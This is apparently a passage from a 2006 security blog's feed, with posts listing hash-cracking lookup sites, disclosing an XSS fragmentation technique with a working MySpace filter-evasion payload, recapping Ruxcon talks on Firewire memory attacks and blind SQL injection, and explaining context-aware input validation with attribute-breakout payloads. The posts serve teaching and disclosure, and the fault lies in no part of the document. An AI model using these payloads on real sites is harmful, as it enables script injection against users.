href="http://passcrack.spb.ru/"&gt;http://passcrack.spb.ru/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.hashreverse.com/"&gt;http://www.hashreverse.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rainbowcrack.com/"&gt;http://rainbowcrack.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5encryption.com/"&gt;http://www.md5encryption.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.shalookup.com/"&gt;http://www.shalookup.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.rednoize.com/"&gt;http://md5.rednoize.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://c4p-sl0ck.dyndns.org/cracker.php"&gt;http://c4p-sl0ck.dyndns.org/cracker.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.tmto.org/"&gt;http://www.tmto.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5search.deerme.org/"&gt;http://md5search.deerme.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-3885737791918214555?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/3885737791918214555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=3885737791918214555' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3885737791918214555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3885737791918214555'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/10/online-reverse-lookup-tables-for.html' title='Online Reverse Lookup Tables For Various Hashing Algorithms'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2760063039942719700</id><published>2006-10-21T17:00:00.000+10:00</published><updated>2006-10-22T17:45:29.675+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>XSS Fragmentation Attacks + MySpace 0day</title><content type='html'>===========================&lt;br /&gt;Fragmentation Is Not Just For The Network&lt;br /&gt;XSS Fragmentation Attacks&lt;br /&gt;Written 18/10/06&lt;br /&gt;by kuza55&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;1.0 Introduction to Fragmentation Attacks&lt;br /&gt;2.0 XSS Fragmentation Attacks&lt;br /&gt;3.0 MySpace 0day!&lt;br /&gt;4.0 Mitigation&lt;br /&gt;5.0 Final Notes&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;1.0 Introduction to Fragmentation Attacks&lt;br /&gt;===========================&lt;br /&gt;At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.&lt;br /&gt;&lt;br /&gt;Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;2.0 XSS Fragmentation Attacks&lt;br /&gt;===========================&lt;br /&gt;XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.&lt;br /&gt;&lt;br /&gt;Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away &amp;lt; and &amp;gt; characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g. &lt;code&gt;&amp;lt;body onload="alert('XSS');"&amp;gt;&lt;/code&gt; would not be allowed, but &lt;code&gt;onload="alert('XSS');"&lt;/code&gt; would be.&lt;br /&gt;&lt;br /&gt;The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.&lt;br /&gt;&lt;br /&gt;The simplest place to get your code placed is inside another tag and that is the example I'll go with now.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;3.0 MySpace 0day!&lt;br /&gt;===========================&lt;br /&gt;The example I'll be using is a MySpace 0day I discovered. First of all I’ll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.&lt;br /&gt;&lt;br /&gt;Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:&lt;br /&gt;&lt;code&gt;&amp;lt;tr id=MusicRow&amp;gt;&amp;lt;td valign="top" align="left" width="100" bgcolor="#b1d0f0"&amp;gt;&amp;lt;span class="lightbluetext8"&amp;gt;Music&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;Music Goes Here!&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;script language="JavaScript"&amp;gt;highlightInterests("ProfileMusic");&amp;lt;/script&amp;gt;&amp;lt;tr id=FilmsRow&amp;gt;&amp;lt;td valign="top" align="left" width="100" bgcolor="#b1d0f0"&amp;gt;&amp;lt;span class="lightbluetext8"&amp;gt;Films&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;Films Go Here!&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The only things separating our 2 fields was this small block of code:&lt;br /&gt;&lt;code&gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;Music Goes Here!&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;script language="JavaScript"&amp;gt;highlightInterests("ProfileMusic");&amp;lt;/script&amp;gt;&amp;lt;tr id=FilmsRow&amp;gt;&amp;lt;td valign="top" align="left" width="100" bgcolor="#b1d0f0"&amp;gt;&amp;lt;span class="lightbluetext8"&amp;gt;Films&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.&lt;br /&gt;&lt;br /&gt;So of course we can do something to encapsulate the text in between like so:&lt;br /&gt;&lt;code&gt;&amp;lt;tr id=MusicRow&amp;gt;&amp;lt;td valign="top" align="left" width="100" bgcolor="#b1d0f0"&amp;gt;&amp;lt;span class="lightbluetext8"&amp;gt;Music&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;&amp;lt;body test='&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;script language="JavaScript"&amp;gt;highlightInterests("ProfileMusic");&amp;lt;/script&amp;gt;&amp;lt;tr id=FilmsRow&amp;gt;&amp;lt;td valign="top" align="left" width="100" bgcolor="#b1d0f0"&amp;gt;&amp;lt;span class="lightbluetext8"&amp;gt;Films&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"&amp;gt;'&amp;gt;Films Go Here!&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/code&gt;&lt;br /&gt;and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:&lt;br /&gt;&lt;code&gt;' onLoad="alert('XSS');"&amp;gt;&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;br /&gt;then we have XSS.&lt;br /&gt;&lt;br /&gt;This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.&lt;br /&gt;&lt;br /&gt;Maybe on some sites which allow user comments on articles, etc are vulnerable?&lt;br /&gt;(Note: Wordpress and Blogger aren't vulnerable, see Mitigation)&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;4.0 Mitigation&lt;br /&gt;===========================&lt;br /&gt;The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.&lt;br /&gt;&lt;br /&gt;The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. &amp;lt;style&amp;gt; tags).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;5.0 Final Notes&lt;br /&gt;===========================&lt;br /&gt;Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.&lt;br /&gt;&lt;br /&gt;Sadly/Luckily (depending on your viewpoint) manyfilters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2760063039942719700?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2760063039942719700/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2760063039942719700' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2760063039942719700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2760063039942719700'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/10/xss-fragmentation-attacks-myspace-0day.html' title='XSS Fragmentation Attacks + MySpace 0day'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4130807003419377290</id><published>2006-10-17T18:35:00.000+10:00</published><updated>2006-10-17T18:38:58.608+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Updated my article entitled " Writing an XSS Worm" to v0.3</title><content type='html'>Just posting to say that I've updated the guide I've written to include a brief explanation of how to create an XSS worm using Flash. The aditions are not very in depth and exist to give it more completeness than any other reason, but that is primarily because all that needs to be done with Flash is so self explanatory I don't really believe I need to provide any worm code for people to be able to easily grasp the idea and be able to implement it.&lt;br /&gt;&lt;br /&gt;If you are only interested in seeing the updates, I have marked all the updates with the word "Update:" in bold so they should be easy to find.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4130807003419377290?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://kuza55.blogspot.com/2006/03/writing-xss-worm.html' title='Updated my article entitled &quot; Writing an XSS Worm&quot; to v0.3'/><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4130807003419377290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4130807003419377290' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4130807003419377290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4130807003419377290'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/10/updated-my-article-entitled-writing-xss.html' title='Updated my article entitled &quot; Writing an XSS Worm&quot; to v0.3'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-116056457943556380</id><published>2006-10-11T20:51:00.000+10:00</published><updated>2006-11-15T18:26:07.478+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Conferences'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Ruxcon 2006</title><content type='html'>&lt;b&gt;Note:&lt;/b&gt;(15/11/06): storm.net.nz (metlstorm's site - which hosts many of the files linked to here) is down and so I've uploaded all the files related to his talk here: &lt;a href="http://mihd.net/qulyn8"&gt;http://mihd.net/qulyn8&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Its quite a while after Ruxcon is over, but I completely forgot I even had a blog, let alone remembered to actually update it.&lt;br /&gt;&lt;br /&gt;Anyway, Ruxcon was awesome, saw some really cool talks, saw some really amazing things, saw more applications for existing ideas.&lt;br /&gt;&lt;br /&gt;But the one talk I'm sure will stand out in everyone's mind is security-assesment.com's Adam "Metlstorm" Boileau's "Hit By A Bus: Physical Access Attacks with Firewire" talk. Only 2 new things were really unveiled in this talk (not that that minimises their importance), but due to his theatrics it was the one that everyone I talked to mentioned as their favourite for the first day.&lt;br /&gt;&lt;br /&gt;I'm not going to outline it since I wouldn't give it the credit it deserves, so i recomend going and having a look at his presentation here: &lt;a href="http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf"&gt;http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf&lt;/a&gt; and also on the page relating to the talk on his own website where all the tools/code have been uploaded: &lt;a href="http://www.storm.net.nz/projects/16"&gt;http://www.storm.net.nz/projects/16&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I will cover the 2 new things that he disclosed though:&lt;br /&gt;&lt;br /&gt;Firewire Direct Memory Access (DMA) attacks which were previously not possible against Windows now are. The way to gain DMA in a windows machine through firewire is to pretnd to be a trustworthy device like an iPod or similar, not an evil Linux box.&lt;br /&gt;&lt;br /&gt;BIOS and Disk Encryption passwords are storedin the realmode keyboard buffer which is not cleared when the computer enters protected mode, and so BIOS and disk encryption passwords are still in memory when the computer is running. THe nly limitation to this though is that the buffer is limited to 15 characters, so while its going to get you the whole passord most of the time, its not going to get it all the time, but even so, 15 characters is still a lot of information.&lt;br /&gt;&lt;br /&gt;So as he said "Firewire is great. Everyone should get Firewire.", now time to get a box with a Firewire port and linux on my iPod and we'll see what havoc I can cause, :p&lt;br /&gt;&lt;br /&gt;I also rather enjoyed Ilja van Sprundel's talk entitled "Unusual Bugs" for which the presentation can be found here: &lt;a href="http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf"&gt;http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf&lt;/a&gt;. It was rather interesting to me since I have not had much experience in security outside wb apps, so it helped a lot. There'a a funny little quotes on one of his websites, which I found rather amusing:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;A warning: printf uses its first argument to decide how many arguments follow and what their type is. It will get confused, and you will get wrong answers, if there are not enough arguments of if they are the wrong type. You should also be aware of the difference between these two calls:&lt;br /&gt;&lt;br /&gt;   printf(s);         /* FAILS if s contains % */&lt;br /&gt;   printf("%s", s);   /* SAFE */&lt;br /&gt;&lt;br /&gt;-- The C programming language 2nd edition (1988).&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And the other talk which i really enjoyed was the second last talk of the conference, which was Ben Hawkes' "Exploiting OpenBSD" for which slides are vailiable at &lt;a href="http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf"&gt;http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf&lt;/a&gt; it helped me understand more fully the protections in place in OpenBSD, and Operating Systems in general. Furthermore I found it interesting that the technique which Ben described as "byte for byte" brute forcing is an idea described in several articles in web application security for doing Blind SQL Injection Table Enumeration[1]. This leads me to believe that we are destined to solving the same problems over and over for every single technology, not just finding out that forgetting to Authenticate is bad in web apps, then completely forgetting the idea for AJAX (as per Andrew van der Stock's "Ajax Security" talk), or as the case is here thinking of an idea for attacking web apps and then not trying to think of what other applications the idea might have.&lt;br /&gt;&lt;br /&gt;Not that I'm trying to diminish Ben's idea, it is one that really helps, but it is one I'm sure that anyone who has seen the SQL Injection technique I have described will automatically jump to when thinking of how to execute a "better brute force" attack, I know that was the first thing I thought of when he started saying he had thought of a better technique.....&lt;br /&gt;&lt;br /&gt;Anyway, I had a great time, saw some interesting things, learned a lot, and met a few people. Also an interesting bit of trivia; at the Google party on the saturday night which I think approximately 60-80 people attended they drank $4,000 of drinks on googleaccount, and the moment this was announced the following morning a huge chear went up, just before another security-asesment.com employee's - Morgan Marquis-Boire - talk "Access over Ethernet: Insecurites in AoE".&lt;br /&gt;&lt;br /&gt;[1] I'll try to find where I found this mentioned, but essentially the idea is that when performing Blind SQL injection its possible to do checks on single letters rather than whole records, so you can find out how many tables begin with the letter a, the letter b, the letter c, etc, and then for each of those see how many have the second letter asa, as b, etc, etc, and run a brute force letter by letter.&lt;br /&gt;&lt;br /&gt;Well, i didn't find the article I read (probably because i read the article on some obscure hacking site at least 6 months ago, and I have no idea where that could be), but I found an article on using a tool which uses the described attak here: &lt;a href="http://www.justinclarke.com/archives/2006/03/sqlbrute.html"&gt;http://www.justinclarke.com/archives/2006/03/sqlbrute.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-116056457943556380?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/116056457943556380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=116056457943556380' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/116056457943556380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/116056457943556380'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/10/ruxcon-2006.html' title='Ruxcon 2006'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114587780779974871</id><published>2006-04-24T21:19:00.001+10:00</published><updated>2006-10-11T21:43:45.793+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Validation in Context</title><content type='html'>Its been a while since I posted anything here, but considering I'm fairly sure no-one actually reads this and I had nothing new to write that hadn't been written elsewhere (or at least I haven't seen written elsewhere), I haven't really bothered writing much more, but after finding an XSS hole relating to this topic today i thought I'd write about it.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;Validation in Context&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;Contents&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 1.0 Introduction&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 1.1 What is context?&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 1.2 Why is context important?&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 2.0 The contexts of SQL Injection&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 3.0 The contexts of XSS&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- 4.0 Conclusion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;================&lt;br /&gt;1.0 Introduction&lt;br /&gt;================&lt;br /&gt;In this article I would like to explain the need for the need of validation (and encoding/escaping) in context. The need for validation is one that is often known only by a few implications, and usually performed either prematurely or inadequately. One of the great sources of inadequacy is encoding and validation out of context.&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;1.1 What is context?&lt;br /&gt;==============&lt;br /&gt;Context is, in the most simple of terms, is the circumstances in which something occurs. For the sake of this article we will refer to context as the circumstances in which operations are performed on user input. An understanding of context is essential to good input validation, encoding/escaping etc (simply referred to as validation from here-on-in).&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;1.2 Why is context important?&lt;br /&gt;==============&lt;br /&gt;Context is important because we are trying to somehow pass user input to extremely complex systems, be they relational database management systems (RDBMS), browsers or operating systems, without the complex system performing any unexpected actions.&lt;br /&gt;&lt;br /&gt;In the simplest of terms, context is important because its (generally) pointless to use a method used in one situation on another situation, e.g. escaping quotes is pointless in stopping XSS, just as escaping &amp;lt; and &amp;gt; symbols is useless in stopping SQL Injection.&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;1.3 Understanding and finding contexts&lt;br /&gt;==============&lt;br /&gt;For us to be able to understand and find contexts we must be intimately familiar with the system into which we are feeding user input. And furthermore we must be able to know how much capacity for error the system will allow. The easiest example of contexts which we can find would be in SQL injection, which I will cover in the next section.&lt;br /&gt;&lt;br /&gt;================&lt;br /&gt;2.0 The contexts of SQL Injection&lt;br /&gt;================&lt;br /&gt;To find contexts in SQL Injection we must first understand our queries. For example, if we are placing user input inside single quotes, it is pointless for us to only escape double quotes and vice versa. And so we have our first 2 states:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- An expression inside single quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- An expression inside double quotes&lt;br /&gt;&lt;br /&gt;But an expression does not have to be inside quotes at all, we could have an integer which is outside quotation marks because it then does not force the RDBMS to evaluate the string and convert it to a number, and in this case our normal validation of escaping quotes (either one or both) would be of extremely limited use in stopping an attacker because the attacker does not need to use quotes to break out of the expression, and does not need quotes for almost all other actions they would like to perform. And so now we have our third context:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- An un-enclosed expression&lt;br /&gt;&lt;br /&gt;But since we know that the value we are expecting is an integer; validating it is not all that difficult, but cases like these prevent solutions like magic_quotes_* (as in PHP's case) from working completely, and begin to illustrate why validation needs to be done in context rather than in a way which stops a few vectors.&lt;br /&gt;&lt;br /&gt;In SQL the contexts are few, but do help to illustrate how context needs to be taken into account.&lt;br /&gt;&lt;br /&gt;================&lt;br /&gt;3.0 The contexts of XSS&lt;br /&gt;================&lt;br /&gt;In XSS attacks you are passing user input to a much more complex (in terms or input parsing) system than an RDBMS, you are passing user input to a browser. The most basic context people protect against is when user input is placed on the page inside a container (be it a tag or the page itself acting as a container), so we have our first context:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside a container (either a tag, or the page itself)&lt;br /&gt;&lt;br /&gt;and the most common method (in PHP, at least) is to simply run everything through either strip_tags() (which as the name implies strips - without any additional parameters - all tags from user input), or the slightly more useful htmlentities() (which encodes all characters which have HTML character entity equivalents are translated into these entities, e.g. &amp;lt; is converted to &amp;lt; and " is converted to &amp;quot;, etc - encoding of quotes though,is optional -, htmlspecialchars() does much the same thing for our purposes, but it only does a few characters, those characters being &amp;lt;&amp;gt;&amp;'" ).&lt;br /&gt;&lt;br /&gt;Again, there are more contexts, but the same functions are often relied upon to neutralize threats in several circumstances. The next circumstance would be when user input is placed inside an attribute for a tag, e.g. :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;print "&amp;lt;body bgcolor=\"".our_encoding_function($_GET['bg'])."\"&amp;gt;";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In this case, using htmlentities() (or htmlspecialchars() ) as our_encoding_function() will still work, but strip_tags() will not, because what we need to filter out or encode here are double quotes, because it would be trivial for an attacker to pass this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;" onLoad="insert malicious javascript here&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;and be able to execute code without having any tags stripped because the attacker had no need to use tags. But not all attributes are enclosed in double quotes, lets say the developer favoured single quotes and did this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;print "&amp;lt;body bgcolor='".our_encoding_function($_GET['bg'])."'&amp;gt;";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;then all our encoding (when supplied with no other parameter then the user input) becomes useless because by default htmlentities() and htmlspecialchars() do not encode single quotes. But even if it was set to encode single quotes it would not help us in the smallest if the developer had not encapsulated user input at all, like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;print "&amp;lt;body bgcolor=".our_encoding_function($_GET['bg'])."&amp;gt;";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;, because then we would not need to use quotes ourselves. Admittedly it is much harder to create a javascript payload without using quotes or whitespace, but it is still doable. From here we have 3 new&amp;nbsp;&amp;nbsp;contexts:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside an attribute to a tag, enclosed with double quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside an attribute to a tag, enclosed with single quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)&lt;br /&gt;&lt;br /&gt;It also matters inside what *kind* of attribute the user input exists. For example if the attribute is merely the background color of the page, then nothing harmful can come about (without of course a bug in the browser) without the user breaking out of the attribute. But what if the tag was a javascript tag, and the user input was enclosed within single quotes inside the javascript, and the attribute was enclosed in double quotes like so (while its not the most likely real world example, it does illustrate a point without having to discuss browser differences):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;print "&amp;lt;body onLoad="alert('.our_encoding_function($_GET['bg'])."');\"&amp;gt;";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;then nothing short of encoding, single and double quotes would suffice (we don't need to worry about &amp;gt; symbols because they can exist inside attributes), because with anything less the user would be able to&amp;nbsp;&amp;nbsp;break out of either the single quotes encapsulating the string inside the alert statement, and therefore allowing the user to execute arbitrary (well almost) javascript commands, or (because of a browser's permissive nature) break out of the attribute altogether then creating a new attribute with other javascript, and we have XSS all over again. And the same situation could be reversed in a few ways and we get the following contexts:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with double quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by single quotes, inside&amp;nbsp;&amp;nbsp;an attribute to a tag, enclosed with single quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by single quotes, inside&amp;nbsp;&amp;nbsp;an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with double quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with single quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)&lt;br /&gt;&lt;br /&gt;And so we have so many more possible contexts to keep in mind, luckily though it can be simplified down to the following rule:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Encode single and/or double quotes depending on whether or not they are used as encapsulation.&lt;br /&gt;&lt;br /&gt;We could of course include contexts like being inside CSS, etc, etc, but these are the main ones, and this article is designed to raise awareness of contexts rather than to be a definitive list of them.&lt;br /&gt;&lt;br /&gt;The contexts so far presented though have been quite similar, lets have a look at something a bit more esoteric. lets say we have a piece of javascript which is setting a cookie, the input doesn't need to come from a server-side script, it can be done by javascript, and it does not matter because we are not trying to break out of what the javascript is trying to do, we just want to do a bit more than what its intended to do. but for the sake of simplicity lets say we're using the following server-side script:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;print "&amp;lt;script&amp;gt;document.cookie = \"name=".htmlentities($_GET['name'], ENT_NOQUOTES)."\";&amp;lt;/script&amp;gt;";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;now, beside the fact that there is no really sane reason (that I can think of) you would be setting server-side cookies using this method, this is only an esoteric example to show you that you should not confine yourself to the common. The reason is that while we cannot escape any of the boundaries (either the string encapsulation or script tag) we can still cause unexpected behavior by setting other cookie. Lets say we set the name variable to:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Alex;\nid=0;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;, then the resulting javascript will become:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.cookie = "name=Alex;\nid=0;"; &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt; which causes us to set 